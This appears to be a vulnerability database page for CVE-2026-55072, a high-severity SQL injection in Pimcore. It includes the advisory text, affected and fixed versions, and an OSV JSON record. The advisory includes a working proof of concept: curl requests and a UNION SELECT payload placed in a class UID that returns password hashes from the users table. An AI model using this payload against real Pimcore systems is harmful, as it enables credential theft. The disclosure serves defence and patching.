CVE-2026-55072: Pimcore SQL Injection Vulnerability

HIGH
Advisory Identifier: GHSA-2mhj-fhvg-v428
CVSS 8.5
CWE-89 CWE-20
Published
Advisory Summary

CVE-2026-55072 is a HIGH (CVSS 8.5) sql injection vulnerability (CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')) affecting Pimcore libraries in the Packagist ecosystem. The issue involves classdefinition uid regex missing end anchor allows sql injection via block.php unquoted table name. Remediation is available by upgrading affected packages to version 2026.1.5, 12.3.9.

CVE-2026-55072 at a Glance

CVE Identifier CVE-2026-55072
GHSA Identifier GHSA-2mhj-fhvg-v428
Severity HIGH
CVSS v3.1 Base Score 8.5
CWE Classification CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Affected Product Pimcore
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 8.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-55072

To remediate this vulnerability, upgrade all affected Pimcore dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

pimcore/pimcore fixed: 2026.1.5
Upgrade pimcore/pimcore to 2026.1.5
pimcore/pimcore fixed: 12.3.9
Upgrade pimcore/pimcore to 12.3.9
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for pimcore/pimcore

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-55072, inspect your project dependencies for Pimcore:

inspect dependencies for pimcore/pimcore

Analyze the terminal output to locate any version of Pimcore in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2026.1.5), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'), where the product constructs all or part of an sql command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended sql command when it is sent to a downstream component. without sufficient removal or quoting of sql syntax in user-controllable inputs, the generated sql query can cause those inputs to be interpreted as sql instead of ordinary user data. In Pimcore, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A missing end anchor (`$`) in the ClassDefinition UID validation regex allows an authenticated user with the `objects` permission to create a class with a malicious UID containing SQL. When a data object of that class is later loaded, Block.php concatenates the raw classId directly into a SQL query without quoting, executing the injected payload. This is an incomplete fix from commit `dbe1d131e4` which added a leading `^` anchor but omitted the trailing `$`. ### Details ### 1. Missing end anchor in ClassDefinition UID validation `models/DataObject/ClassDefinition.php` lines 1148-1154: ```php if (!preg_match('/^[a-zA-Z]\w+/', $this->getName())) { throw new Exception(sprintf('Invalid name for class definition: %s', $this->getName())); } if (!preg_match('/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?/', $this->getId())) { throw new Exception(sprintf('Invalid ID `%s` for class definition %s', $this->getId(), $this->getName())); } ``` Both patterns are missing a trailing `$` anchor. Without it, `preg_match` only checks that the string STARTS with a valid identifier — it does not assert end-of-string. A UID of `1 UNION SELECT password FROM users-- ` passes because the regex matches `1` at the start and ignores the rest. Compare with the correct pattern used by Fieldcollection in `models/DataObject/Fieldcollection/Definition.php` line 268: ```php if (!preg_match('/^[a-zA-Z]\w*$/', $key)) { // has $ — correct return true; } ``` ### 3. Unquoted classId concatenation in Block.php `models/DataObject/ClassDefinition/Data/Block.php` line 735: ```php $query = 'select ' . $db->quoteIdentifier($field) . ' from object_store_' . $object->getClassId() . ' where oo_id = ' . $object->getId(); ``` `$object->getClassId()` returns the raw stored classId with no quoting. This same unquoted pattern repeats on lines 744, 746, 748, 759, and 771 for objectbrick, fieldcollection, and localized field contexts. Compare with `models/DataObject/ClassDefinition/Dao.php` line 108-113 which correctly wraps the table name: ```php $objectDatastoreTable = 'object_store_' . $this->model->getId(); $qObjectDatastoreTable = $this->db->quoteIdentifier($objectDatastoreTable); ``` Dao.php was hardened in commit `dbe1d131e4` but Block.php was not. ### PoC **Prerequisites:** - Pimcore 2026.1.x with Studio API enabled - A user `lowpriv` with only the `objects` permission **Step 1 — Authenticate as lowpriv and save the session cookie:** ```bash curl -s -c /tmp/cookies.txt -X POST \ "https://your-pimcore/pimcore-studio/api/login" \ -H "Content-Type: application/json" \ -d '{"username":"lowpriv","password":"password"}' ``` Expected response: ```json {"message": "Login successful"} ``` **Step 2 — Create a ClassDefinition with a malicious UID:** ```bash curl -s -b /tmp/cookies.txt -X POST \ "https://your-pimcore/pimcore-studio/api/class/definition/configuration-view/detail/create" \ -H "Content-Type: application/json" \ -d '{"name":"PocClass","uid":"1 UNION SELECT password,NULL FROM users-- "}' ``` Expected response: class definition created successfully. The UID passes the broken regex because `preg_match('/^[a-zA-Z0-9 ([a-zA-Z0-9_]+)?/', '1 UNION SELECT...')` matches `1` at the start and returns true. No exception is thrown. The bypass can be verified independently in any PHP sandbox: ```php var_dump(preg_match('/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?/', '1 UNION SELECT password FROM users-- ')); // int(1) — PASSES, no exception thrown var_dump(preg_match('/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?$/', '1 UNION SELECT password FROM users-- ')); // int(0) — BLOCKED, correct behavior with $ anchor ``` **Step 3 — Add a Block field to the malicious class (via the class editor UI or API)** In the Pimcore Studio UI, open `PocClass`, add a field of type `Block`, name it `myblock`, and save the class. **Step 4 — Create a data object of the malicious class:** ```bash curl -s -b /tmp/cookies.txt -X POST \ "https://your-pimcore/pimcore-studio/api/data-objects" \ -H "Content-Type: application/json" \ -d '{"className":"PocClass","parentId":1,"key":"poc-object"}' ``` Note the returned object ID (e.g. `42`). **Step 5 — Fetch the data object to trigger Block.php:735:** ```bash curl -s -b /tmp/cookies.txt \ "https://your-pimcore/pimcore-studio/api/data-objects/42" ``` When the object loads, `Block::load()` executes: ```sql SELECT `myblock` FROM object_store_1 UNION SELECT password,NULL FROM users-- WHERE oo_id = 42 ``` The `-- ` comment discards the WHERE clause. MySQL executes the UNION and returns password hashes from the `users` table in the Block field value of the response. **Expected response (vulnerable):** The `myblock` field value in the response contains rows from the `users` table including password hashes. **Expected response (patched):** Step 2 fails with a validation exception — the UID is rejected before the class is created. **Recommended fix:** Add trailing `$` anchors to both regex patterns in `ClassDefinition.php`: ```php // Before (vulnerable) if (!preg_match('/^[a-zA-Z]\w+/', $this->getName())) { if (!preg_match('/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?/', $this->getId())) { // After (correct) if (!preg_match('/^[a-zA-Z]\w+$/', $this->getName())) { if (!preg_match('/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?$/', $this->getId())) { ``` Additionally, wrap `$object->getClassId()` in `$db->quoteIdentifier()` in `Block.php` lines 735, 744, 746, 748, 759, and 771, consistent with how `Dao.php` handles the same value. ### Impact An authenticated user with the `objects` permission can inject arbitrary SQL that executes when any data object of the malicious class is loaded. This allows exfiltration of any table in the Pimcore database, including the `users` table containing password hashes, using a UNION-based injection. The `objects` permission is a standard editor-level permission, not an admin privilege.

CVE-2026-55072 Affected Pimcore Versions

2 component(s)
Fixed Versions:
2026.1.512.3.9
Product / Package Ecosystem Affected Versions Fixed Version
pimcore/pimcore
Packagist
≥ 2026.1.0
< 2026.1.5
2026.1.5
pimcore/pimcore
Packagist
< 12.3.9
12.3.9

References

Frequently Asked Questions

What is CVE-2026-55072?
CVE-2026-55072 is a security vulnerability in Pimcore involving ClassDefinition UID regex missing end anchor allows SQL injection via Block.php unquoted table name under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection').
Which Pimcore versions are affected?
Affected versions include releases prior to 2026.1.5, 12.3.9 across affected packages: pimcore/pimcore.
What version fixes CVE-2026-55072?
Upgrading to 2026.1.5, 12.3.9 (or the latest patched release for your respective branch) resolves the vulnerability.
Is pimcore/pimcore affected?
Yes, pimcore/pimcore is affected in releases prior to 2026.1.5, 12.3.9. Upgrade your dependency to 2026.1.5, 12.3.9 or later.
What is the CVSS score of CVE-2026-55072?
CVE-2026-55072 has a CVSS v3.1 base score of 8.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N.
What CWE is associated with CVE-2026-55072?
CVE-2026-55072 is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.).
How can I check Packagist dependencies for CVE-2026-55072?
Run the dependency tree command: 'inspect dependencies for pimcore/pimcore'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-2mhj-fhvg-v428",
  "modified" : "2026-08-13T13:44:24Z",
  "published" : "2026-08-13T13:44:24Z",
  "aliases" : [ "CVE-2026-55072" ],
  "summary" : "Pimcore: ClassDefinition UID regex missing end anchor allows SQL injection via Block.php unquoted table name",
  "details" : "### Summary\nA missing end anchor (`$`) in the ClassDefinition UID validation regex allows an authenticated user with the `objects` permission to create a class with a malicious UID containing SQL. When a data object of that class is later loaded, Block.php concatenates the raw classId directly into a SQL query without quoting, executing the injected payload. This is an incomplete fix from commit `dbe1d131e4` which added a leading `^` anchor but omitted the trailing `$`.\n\n### Details\n### 1. Missing end anchor in ClassDefinition UID validation\n\n`models/DataObject/ClassDefinition.php` lines 1148-1154:\n\n```php\nif (!preg_match('/^[a-zA-Z]\\w+/', $this->getName())) {\n    throw new Exception(sprintf('Invalid name for class definition: %s', $this->getName()));\n}\n\nif (!preg_match('/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?/', $this->getId())) {\n    throw new Exception(sprintf('Invalid ID `%s` for class definition %s', $this->getId(), $this->getName()));\n}\n```\n\nBoth patterns are missing a trailing `$` anchor. Without it, `preg_match` only checks that the string STARTS with a valid identifier — it does not assert end-of-string. A UID of `1 UNION SELECT password FROM users-- ` passes because the regex matches `1` at the start and ignores the rest.\n\nCompare with the correct pattern used by Fieldcollection in `models/DataObject/Fieldcollection/Definition.php` line 268:\n\n```php\nif (!preg_match('/^[a-zA-Z]\\w*$/', $key)) {   // has $ — correct\n    return true;\n}\n```\n\n\n### 3. Unquoted classId concatenation in Block.php\n\n`models/DataObject/ClassDefinition/Data/Block.php` line 735:\n\n```php\n$query = 'select ' . $db->quoteIdentifier($field) . ' from object_store_' . $object->getClassId() . ' where oo_id  = ' . $object->getId();\n```\n\n`$object->getClassId()` returns the raw stored classId with no quoting. This same unquoted pattern repeats on lines 744, 746, 748, 759, and 771 for objectbrick, fieldcollection, and localized field contexts.\n\nCompare with `models/DataObject/ClassDefinition/Dao.php` line 108-113 which correctly wraps the table name:\n\n```php\n$objectDatastoreTable = 'object_store_' . $this->model->getId();\n$qObjectDatastoreTable = $this->db->quoteIdentifier($objectDatastoreTable);\n```\n\nDao.php was hardened in commit `dbe1d131e4` but Block.php was not.\n\n\n### PoC\n**Prerequisites:**\n- Pimcore 2026.1.x with Studio API enabled\n- A user `lowpriv` with only the `objects` permission\n\n**Step 1 — Authenticate as lowpriv and save the session cookie:**\n\n```bash\ncurl -s -c /tmp/cookies.txt -X POST \\\n  \"https://your-pimcore/pimcore-studio/api/login\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"username\":\"lowpriv\",\"password\":\"password\"}'\n```\n\nExpected response:\n```json\n{\"message\": \"Login successful\"}\n```\n\n**Step 2 — Create a ClassDefinition with a malicious UID:**\n\n```bash\ncurl -s -b /tmp/cookies.txt -X POST \\\n  \"https://your-pimcore/pimcore-studio/api/class/definition/configuration-view/detail/create\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"name\":\"PocClass\",\"uid\":\"1 UNION SELECT password,NULL FROM users-- \"}'\n```\n\nExpected response: class definition created successfully. The UID passes the broken regex because `preg_match('/^[a-zA-Z0-9 ([a-zA-Z0-9_]+)?/', '1 UNION SELECT...')` matches `1` at the start and returns true. No exception is thrown.\n\nThe bypass can be verified independently in any PHP sandbox:\n\n```php\nvar_dump(preg_match('/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?/', '1 UNION SELECT password FROM users-- '));\n// int(1) — PASSES, no exception thrown\n\nvar_dump(preg_match('/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?$/', '1 UNION SELECT password FROM users-- '));\n// int(0) — BLOCKED, correct behavior with $ anchor\n```\n\n**Step 3 — Add a Block field to the malicious class (via the class editor UI or API)**\n\nIn the Pimcore Studio UI, open `PocClass`, add a field of type `Block`, name it `myblock`, and save the class.\n\n**Step 4 — Create a data object of the malicious class:**\n\n```bash\ncurl -s -b /tmp/cookies.txt -X POST \\\n  \"https://your-pimcore/pimcore-studio/api/data-objects\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"className\":\"PocClass\",\"parentId\":1,\"key\":\"poc-object\"}'\n```\n\nNote the returned object ID (e.g. `42`).\n\n**Step 5 — Fetch the data object to trigger Block.php:735:**\n\n```bash\ncurl -s -b /tmp/cookies.txt \\\n  \"https://your-pimcore/pimcore-studio/api/data-objects/42\"\n```\n\nWhen the object loads, `Block::load()` executes:\n\n```sql\nSELECT `myblock` FROM object_store_1 UNION SELECT password,NULL FROM users--\nWHERE oo_id = 42\n```\n\nThe `-- ` comment discards the WHERE clause. MySQL executes the UNION and returns password hashes from the `users` table in the Block field value of the response.\n\n**Expected response (vulnerable):**\n\nThe `myblock` field value in the response contains rows from the `users` table including password hashes.\n\n**Expected response (patched):**\n\nStep 2 fails with a validation exception — the UID is rejected before the class is created.\n\n**Recommended fix:**\n\nAdd trailing `$` anchors to both regex patterns in `ClassDefinition.php`:\n\n```php\n// Before (vulnerable)\nif (!preg_match('/^[a-zA-Z]\\w+/', $this->getName())) {\nif (!preg_match('/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?/', $this->getId())) {\n\n// After (correct)\nif (!preg_match('/^[a-zA-Z]\\w+$/', $this->getName())) {\nif (!preg_match('/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?$/', $this->getId())) {\n```\n\nAdditionally, wrap `$object->getClassId()` in `$db->quoteIdentifier()` in `Block.php` lines 735, 744, 746, 748, 759, and 771, consistent with how `Dao.php` handles the same value.\n\n### Impact\nAn authenticated user with the `objects` permission can inject arbitrary SQL that executes when any data object of the malicious class is loaded. This allows exfiltration of any table in the Pimcore database, including the `users` table containing password hashes, using a UNION-based injection. The `objects` permission is a standard editor-level permission, not an admin privilege.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "pimcore/pimcore"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2026.1.0"
      }, {
        "fixed" : "2026.1.5"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2026.1.4"
    }
  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "pimcore/pimcore"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "12.3.9"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/pimcore/pimcore/security/advisories/GHSA-2mhj-fhvg-v428"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pimcore/pimcore/commit/33a0e1887e1e31b4283b016ac5440c35ea5697b4"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/pimcore/pimcore"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-20", "CWE-89" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-13T13:44:24Z",
    "nvd_published_at" : null
  }
}